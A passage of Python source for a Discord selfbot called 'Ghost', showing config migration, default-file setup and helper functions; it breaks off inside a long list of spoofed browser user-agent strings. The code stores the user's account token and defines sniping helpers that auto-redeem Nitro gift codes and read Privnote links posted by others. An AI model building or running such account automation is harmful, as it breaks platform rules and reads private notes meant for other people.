not in configFile): configJson["snipers"] = {} print(printSpaces+"Adding nitro sniper to config.") configJson["snipers"]["nitro"] = bool(True) print(printSpaces+"Adding privnote sniper to config.") configJson["snipers"]["privnote"] = bool(True) print(printSpaces+"Adding giveaway sniper to config.") configJson["snipers"]["giveaway"] = bool(True) if ("webhooks" not in configFile): configJson["webhooks"] = {} print(printSpaces+"Adding nitro webhook to config.") configJson["webhooks"]["nitro"] = "" print(printSpaces+"Adding privnote webhook to config.") configJson["webhooks"]["privnote"] = "" print(printSpaces+"Adding giveaway webhook to config.") configJson["webhooks"]["giveaway"] = "" if ("motd" not in configFile): configJson["motd"] = {} configJson["motd"]["custom"] = bool(False) print(printSpaces+"Adding custom motd option to config.") configJson["motd"]["custom_text"] = "Super Cool Custom MOTD" print(printSpaces+"Adding custom motd text to config.") if ("selfbot_detect" in configFile): configJson.pop("selfbot_detect") print(printSpaces+"Removing selfbot detect from config.") if ("ghostping_detect" in configFile): configJson.pop("ghostping_detect") print(printSpaces+"Removing ghostping detect from config.") if ("ghostping" not in configJson["webhooks"]): configJson["webhooks"]["ghostping"] = "" print(printSpaces+"Adding ghostping webhook to config.") if ("friendsupdate" not in configJson["webhooks"]): configJson["webhooks"]["friendsupdate"] = "" print(printSpaces+"Adding friends update webhook to config.") if ("dmtyping" not in configJson["webhooks"]): configJson["webhooks"]["dmtyping"] = "" print(printSpaces+"Adding DM typing webhook to config.") if ("guildleave" not in configJson["webhooks"]): configJson["webhooks"]["guildleave"] = "" print(printSpaces+"Adding guild leave webhook to config.") if ("selfbot" not in configJson["webhooks"]): configJson["webhooks"]["selfbot"] = "" print(printSpaces+"Adding selfbot webhook to config.") if ("tickets" not in configJson["webhooks"]): configJson["webhooks"]["tickets"] = "" print(printSpaces+"Adding tickets webhook to config.") if ("sounds" not in configFile): configJson["sounds"] = bool(True) print(printSpaces+"Adding sounds toggle to config.") if ("detections" not in configFile): configJson["detections"] = {} configJson["detections"]["selfbot"] = bool(True) print(printSpaces+"Adding selfbot detection to config.") configJson["detections"]["ghostping"] = bool(True) print(printSpaces+"Adding ghostping detection to config.") configJson["detections"]["bans"] = bool(True) print(printSpaces+"Adding ban detection to config.") if ("deletedmessages" not in configJson["detections"]): configJson["detections"]["deletedmessages"] = bool(False) print(printSpaces+"Adding deleted messages detection to config.") if ("webhookmodification" not in configJson["detections"]): configJson["detections"]["webhookmodification"] = bool(True) print(printSpaces+"Adding webhook modification detection to config.") if ("friendsupdate" not in configJson["detections"]): configJson["detections"]["friendsupdate"] = bool(True) print(printSpaces+"Adding friends update detection to config.") if ("dmtyping" not in configJson["detections"]): configJson["detections"]["dmtyping"] = bool(True) print(printSpaces+"Adding DM typing detection to config.") if ("guildleave" not in configJson["detections"]): configJson["detections"]["guildleave"] = bool(True) print(printSpaces+"Adding guild leave detection to config.") if ("embed_mode" not in configFile): configJson["embed_mode"] = bool(False) print(printSpaces+"Adding embed mode to config.") if ("ignored_servers" not in configFile): configJson["ignored_servers"] = {} configJson["ignored_servers"]["nitro"] = [] print(printSpaces+"Adding nitro ignored servers to config.") configJson["ignored_servers"]["privnote"] = [] print(printSpaces+"Adding privnote ignored servers to config.") configJson["ignored_servers"]["giveaways"] = [] print(printSpaces+"Adding giveaways ignored servers to config.") configJson["ignored_servers"]["ghostpings"] = [] print(printSpaces+"Adding ghostpings ignored servers to config.") configJson["ignored_servers"]["selfbots"] = [] print(printSpaces+"Adding selfbots ignored servers to config.") configJson["ignored_servers"]["bans"] = [] print(printSpaces+"Adding bans ignored servers to config.") configJson["ignored_servers"]["deletedmessages"] = [] print(printSpaces+"Adding deletedmessages ignored servers to config.") if ("webhookmodifications" not in configJson["ignored_servers"]): configJson["ignored_servers"]["webhookmodifications"] = [] print(printSpaces+"Adding webhook modification ignored servers to config.") if ("tickets" not in configJson["snipers"]): configJson["snipers"]["tickets"] = bool(True) print(printSpaces+"Adding ticket sniper to config.") if ("tickets" not in configJson["ignored_servers"]): configJson["ignored_servers"]["tickets"] = [] print(printSpaces+"Adding tickets ignored servers to config.") if ("guildleave" not in configJson["ignored_servers"]): configJson["ignored_servers"]["guildleave"] = [] print(printSpaces+"Adding guild leave ignored servers to config.") if ("api_keys" not in configFile): print(printSpaces+"Adding api keys to config.") configJson["api_keys"] = {} configJson["api_keys"]["tenor"] = "" if ("alexflipnote" not in configJson["api_keys"]): print(printSpaces+"Adding alexflipnote to api keys.") configJson["api_keys"]["alexflipnote"] = "" if ("afkmode" not in configFile): print(printSpaces+"Adding afkmode to config.") configJson["afkmode"] = {} configJson["afkmode"]["enabled"] = False configJson["afkmode"]["replymessage"] = "im currently afk :/" json.dump(configJson, open("config.json", "w"), sort_keys=False, indent=4) configJson = json.load(open("config.json")) configFile = open("config.json", "r").read() if ("load_on_startup" in configFile): configJson.pop("load_on_startup") print(printSpaces+"Removing load on startup from config.") json.dump(configJson, open("config.json", "w"), sort_keys=False, indent=4) if not os.path.exists('pytoexe/'): os.makedirs('pytoexe/'); if not os.path.exists('privnote-saves/'): os.makedirs('privnote-saves/'); if not os.path.exists('scripts/'): os.makedirs('scripts/'); if not os.path.exists('data/'): os.makedirs('data/'); if not os.path.exists('themes/'): os.makedirs('themes/'); if not os.path.exists('sounds/'): os.makedirs('sounds/'); # if not os.path.isfile('icon.ico'): open('icon.ico', 'wb').write(requests.get('https://ghost.cool/favicon.ico', allow_redirects=True).content); # if not os.path.isfile('sounds/connected.mp3'): open('sounds/connected.mp3', 'wb').write(requests.get('https://ghost.cool/assets/sounds/connected.mp3', allow_redirects=True).content); # if not os.path.isfile('sounds/error.mp3'): open('sounds/error.mp3', 'wb').write(requests.get('https://ghost.cool/assets/sounds/error.mp3', allow_redirects=True).content); # if not os.path.isfile('sounds/notification.mp3'): open('sounds/notification.mp3', 'wb').write(requests.get('https://ghost.cool/assets/sounds/notification.mp3', allow_redirects=True).content); # if not os.path.isfile('sounds/success.mp3'): open('sounds/success.mp3', 'wb').write(requests.get('https://ghost.cool/assets/sounds/success.mp3', allow_redirects=True).content); # if not os.path.isfile('sounds/giveaway-win.mp3'): open('sounds/giveaway-win.mp3', 'wb').write(requests.get('https://ghost.cool/assets/sounds/giveaway-win.mp3', allow_redirects=True).content); # if not os.path.exists('trump-tweets/'): os.makedirs('trump-tweets/'); # if not os.path.exists('trump-tweets/assets'): os.makedirs('trump-tweets/assets'); # if not os.path.isfile('trump-tweets/assets/bg.png'): # dtrumpbg = 'https://bennyware.xyz/files/dtrumptweetbg.png' # dtrumpbg_r = requests.get(dtrumpbg, allow_redirects=True) # open('trump-tweets/assets/bg.png', 'wb').write(dtrumpbg_r.content) # if not os.path.isfile('trump-tweets/assets/roboto.ttf'): # font = 'https://bennyware.xyz/files/roboto.ttf' # font_r = requests.get(font, allow_redirects=True) # open('trump-tweets/assets/roboto.ttf', 'wb').write(font_r.content) # open('data/icon.png', 'wb').write(requests.get('http://ghost.cool/assets/icon.png', allow_redirects=True).content) if not os.path.isfile('config.json'): f = open('config.json', "w") f.write(""" { "token": "", "prefix": ".", "delete_timeout": 15, "theme": "Ghost" } """) f.close() if not os.path.isfile('giveawaybots.json'): f = codecs.open('giveawaybots.json', "w", encoding="UTF-8") f.write(""" { "294882584201003009": "🎉", "396464677032427530": "🎉", "720351927581278219": "🎉", "582537632991543307": "🎉" } """) f.close() if not os.path.isfile('customcommands.json'): f = open('customcommands.json', "w") f.write(""" { "cmd1": "this is cmd1", "cmd2": "this is cmd2" } """) f.close() if not os.path.isfile('richpresence.json'): f = open('richpresence.json', 'w') f.write(""" { "enabled": true, "client_id": 807369019744059403, "details": "Using Ghost selfbot...", "state": "", "large_image_key": "icon", "large_image_text": "ghost.cool" } """) f.close() if os.path.isfile("richpresence.json"): jsonFile = json.load(open("richpresence.json")) if jsonFile["client_id"] == 807369019744059403: jsonFile["client_id"] = 877223591828136006 if jsonFile["details"] == "Using Ghost selfbot...": jsonFile["details"] = "Using Ghost..." if "small_image_key" not in jsonFile: jsonFile["small_image_key"] = "small" if "small_image_text" not in jsonFile: jsonFile["small_image_text"] = "best sb for £2" json.dump(jsonFile, open("richpresence.json", "w"), sort_keys=False, indent=4) if not os.path.isfile('themes/Ghost.json'): f = open('themes/Ghost.json', "w") f.write(""" { "embedtitle": "Ghost", "embedcolour": "#3B79FF", "consolecolour": "#3B79FF", "embedfooter": "ghost.cool", "embedfooterimage": "https://ghost.cool/assets/icon.gif", "globalemoji": ":blue_heart:", "embedimage": "https://ghost.cool/assets/icon.gif" } """) f.close() if not os.path.isfile('data/personal-pins.json'): f = open('data/personal-pins.json', "w") f.write("{}") f.close() if not os.path.isfile('data/tokens.txt'): f = open('data/tokens.txt', "w") f.close() if not os.path.isfile('data/rickroll.txt'): f = open('data/rickroll.txt', "w") f.write("""We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you We've known each other for so long Your heart's been aching but you're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it And if you ask me how I'm feeling Don't tell me you're too blind to see Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give, never gonna give (Give you up) (Ooh) Never gonna give, never gonna give (Give you up) We've known each other for so long Your heart's been aching but you're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it I just wanna tell you how I'm feeling Gotta make you understand Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt...""") f.close() if not os.path.isfile('scripts/example.py'): f = open('scripts/example.py', "w") f.write(''' @Ghost.command(name="example", description="Example custom script.", usage="example") async def example(Ghost): exampleEmbed = discord.Embed( title="Example Embed", description=""" An example embed to display what you can do in scripts. Check `scripts/example.py` to see the code! ** ** Ghost scripts are all created in python using discord.py so you can use any feature from discord.py. """, color=__embedcolour__ ) exampleEmbed.add_field(name="Variables", value=""" **\_\_embedtitle\_\_** : Theme's embed title. **\_\_embedcolour\_\_** : Theme's embed colour. **\_\_embedfooter\_\_** : Theme's embed footer. **\_\_embedimage\_\_** : Theme's embed image url. **\_\_embedfooterimage\_\_** : Theme's embed footer image url. **\_\_embedemoji\_\_** : Theme's global emoji. **\_\_deletetimeout\_\_** : Config delete timeout (seconds). """) exampleEmbed.set_thumbnail(url=__embedimage__) exampleEmbed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) await Ghost.send("Hello World!", embed=exampleEmbed) ''') f.close() if json.load(open("config.json"))["token"] == "": os.system("cls") os.system("clear") print("") print("Please input your Discord token below.".center(os.get_terminal_size().columns)) print("") token = input() config = json.load(open("config.json")) config["token"] = (token) json.dump(config, open('config.json', 'w'), sort_keys=False, indent=4) ccmd_file = open('customcommands.json') ccmd = json.load(ccmd_file) def updateTheme(theme): themeJson = json.load(open(f"themes/{theme}")) if "consolecolour" not in themeJson: themeJson["consolecolour"] = "#3B79FF" if "consolemode" not in themeJson: themeJson["consolemode"] = "new" if "embedlargeimage" not in themeJson: themeJson["embedlargeimage"] = "" json.dump(themeJson, open(f"themes/{theme}", "w"), sort_keys=False, indent=4) for theme in os.listdir("themes"): if theme.endswith(".json"): updateTheme(theme) update_config() CONFIG = json.load(open("config.json")) GIVEAWAYBOTS = json.load(codecs.open("giveawaybots.json", encoding="UTF-8")) __token__ = CONFIG["token"] __prefix__ = CONFIG["prefix"] # __loadonstartup__ = CONFIG["load_on_startup"] __deletetimeout__ = CONFIG["delete_timeout"] __theme__ = CONFIG["theme"] __sounds__ = CONFIG["sounds"] __riskmode__ = CONFIG["riskmode"] __nitrosniper__ = CONFIG["snipers"]["nitro"] __privnotesniper__ = CONFIG["snipers"]["privnote"] __giveawaysniper__ = CONFIG["snipers"]["giveaway"] __giveawaysniperui__ = CONFIG["giveaway_sniper_ui"] __ticketsniper__ = CONFIG["snipers"]["tickets"] __nitrowebhook__ = CONFIG["webhooks"]["nitro"] __privnotewebhook__ = CONFIG["webhooks"]["privnote"] __giveawaywebhook__ = CONFIG["webhooks"]["giveaway"] __ghostpingwebhook__ = CONFIG["webhooks"]["ghostping"] __friendsupdatewebhook__ = CONFIG["webhooks"]["friendsupdate"] __dmtypingwebhook__ = CONFIG["webhooks"]["dmtyping"] __guildleavewebhook__ = CONFIG["webhooks"]["guildleave"] __selfbotwebhook__ = CONFIG["webhooks"]["selfbot"] __ticketswebhook__ = CONFIG["webhooks"]["tickets"] __giveawayjoindelay__ = CONFIG["giveaway_join_delay"] __custommotd__ = CONFIG["motd"]["custom"] __custommotdtext__ = CONFIG["motd"]["custom_text"] __selfbotdetect__ = CONFIG["detections"]["selfbot"] __ghostpingdetect__ = CONFIG["detections"]["ghostping"] __bandetect__ = CONFIG["detections"]["bans"] __deletedmessagesdetect__ = CONFIG["detections"]["deletedmessages"] __webhookmodificationdetect__ = CONFIG["detections"]["webhookmodification"] __friendsupdatedetect__ = CONFIG["detections"]["friendsupdate"] __dmtypingdetect__ = CONFIG["detections"]["dmtyping"] __guildleavedetect__ = CONFIG["detections"]["guildleave"] THEME = json.load(open(f"themes/{__theme__}.json")) __embedtitle__ = THEME["embedtitle"] __embedcolour__ = int(THEME["embedcolour"].replace('#', '0x'), 0) __embedcolourraw__ = THEME["embedcolour"] __embedfooter__ = THEME["embedfooter"] __embedemoji__ = THEME["globalemoji"] __embedimage__ = THEME["embedimage"] __embedlargeimage__ = THEME["embedlargeimage"] __embedfooterimage__ = THEME["embedfooterimage"] __embedmode__ = CONFIG["embed_mode"] __consolemode__ = THEME["consolemode"] __ignoredservers__ = CONFIG["ignored_servers"] __consolecolour__ = THEME["consolecolour"] __ghostloaded__ = False __guildleaveignoredservers__ = CONFIG["ignored_servers"]["guildleave"] nsfwTypes = ["boobs", "ass", "hentai", "porngif", "pussy", "tits", "tittydrop", "tittypop", "titty", "femboy"] now = datetime.now() fake = Faker() def getCurrentTime(): return datetime.now().strftime("%H:%M:%S") def print_important(message): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cPurple}[IMPORTANT] {fg.cWhite}{message}") def print_info(message): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cYellow}[INFORMATION] {fg.cWhite}{message}") def print_cmd(command): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.consoleColour}[COMMAND] {fg.cWhite}{command}") def print_sharecmd(author, command): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.consoleColour}[SHARE COMMAND] {fg.cWhite}({author}) {command}") def print_error(error): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cRed}[ERROR] {fg.cWhite}{error}") def print_detect(message): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cPink}[DETECT] {fg.cWhite}{message}") def print_sniper(message): print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cOrange}[SNIPER] {fg.cWhite}{message}") def print_sniper_info(firstmessage, secondmessage): spaces = "" # for i in range(len(f"[{getCurrentTime()}]")): # spaces += " " print(f"{printSpaces}{spaces} {fg.cYellow}{firstmessage}: {fg.cGrey}{secondmessage}") def is_me(m): return m.author == Ghost.user def restart_bot(): python = sys.executable os.execl(python, python, * sys.argv) def close_bot(): os.system("taskkill /IM Ghost.exe") def is_windows(): return os.name == "nt" def is_linux(): return os.name == "posix" def GetUUID(): if is_windows(): cmd = 'wmic csproduct get uuid' uuid = str(subprocess.check_output(cmd)) pos1 = uuid.find("\\n")+2 uuid = uuid[pos1:-15] elif is_linux(): uuid = str(subprocess.Popen(["dmidecode", "-s", "system-uuid"], stdout=subprocess.PIPE).communicate()[0]).replace("b'", "").replace("\\n'", "") return uuid # Found: https://stackoverflow.com/a/64676639 def hex_to_rgb(hex_string): r_hex = hex_string[1:3] g_hex = hex_string[3:5] b_hex = hex_string[5:7] red = int(r_hex, 16) green = int(g_hex, 16) blue = int(b_hex, 16) return red, green, blue def get_nsfw(type): types = nsfwTypes if type not in types: return "Invalid type." else: for type2 in types: if type == type2: request = requests.get(f"https://www.reddit.com/r/{type2}/random.json", headers={'User-agent': get_random_user_agent()}).json() url = request[0]["data"]["children"][0]["data"]["url"] if "redgifs" in str(url): url = request[0]["data"]["children"][0]["data"]["preview"]["reddit_video_preview"]["fallback_url"] return url def get_nsfw_custom_type(type): request = requests.get(f"https://www.reddit.com/r/{type}/random.json", headers={'User-agent': get_random_user_agent()}).json() url = request[0]["data"]["children"][0]["data"]["url"] if "redgifs" in str(url): url = request[0]["data"]["children"][0]["data"]["preview"]["reddit_video_preview"]["fallback_url"] return url def send_notification(title, message, duration): try: plyer.notification.notify( title=title, message=message, app_name="Ghost", app_icon="icon.ico", timeout=duration, toast=True ) except: pass def claim_nitro(code, userToken): URL = f'https://discordapp.com/api/v6/entitlements/gift-codes/{code}/redeem' result = requests.post(URL, headers={'Authorization': userToken}).text if 'nitro' in result: return "Valid Code" else: return "Invalid Code" def read_privnote(url): content = pn.read_note(link=url) return content def get_random_user_agent(): userAgents = ["Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/56.0.3075.83 Safari/537.32", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.1", "Mozilla/5.0 (Windows NT 8.0; WOW64) AppleWebKit/536.24 (KHTML, like Gecko) Chrome/32.0.2019.89 Safari/536.24", "Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.41 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3058.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3258.0 Safari/537.36", "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/27.0.1453.0 Safari/537.35", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.139 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9757 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3258.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.1", "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2151.2 Safari/537.36", "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1204.0 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/67.0.3387.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.0.9757 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3359.181 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3251.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/538 (KHTML, like Gecko) Chrome/36 Safari/538", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.18 Safari/535.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3", "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/27.0.1453.0 Safari/537.35", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3359.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3057.0 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.14", "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 TC2", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3058.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3258.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2531.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Safari/537.36", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36,gzip(gfe)", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2264.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.29 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.150 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.14", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2714.0 Safari/537.36", "24.0.1284.0.0 (Windows NT 5.1) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/24.0.1284.0.3.742.3 Safari/534.3", "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1864.6 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Chrome/36.0.1985.125 CrossBrowser/36.0.1985.138 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Avast/70.0.917.102", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1615.0 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.14", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3608.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3251.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/54.2.133 Chrome/48.2.2564.133 Safari/537.36", "24.0.1284.0.0 (Windows NT 5.1) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/24.0.1284.0.3.742.3 Safari/534.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/54.2.133 Chrome/48.2.2564.133 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/54.2.133 Chrome/48.2.2564.133 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.18 Safari/535.1", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2427.7 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.61 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Chrome/36.0.1985.125 CrossBrowser/36.0.1985.138 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36", "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.29 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.104 Safari/537.36", "24.0.1284.0.0 (Windows NT 5.1) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/24.0.1284.0.3.742.3 Safari/534.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Chrome/27.0.1453 Safari/537.36,gzip(gfe)", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.29 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.45 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.45", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.150 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.102 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2419.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Chrome/36.0.1985.125 CrossBrowser/36.0.1985.138 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1204.0 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 Safari/537.36#", "Mozilla/5.0 (Windows NT 10.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.68 Safari/537.36", "Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 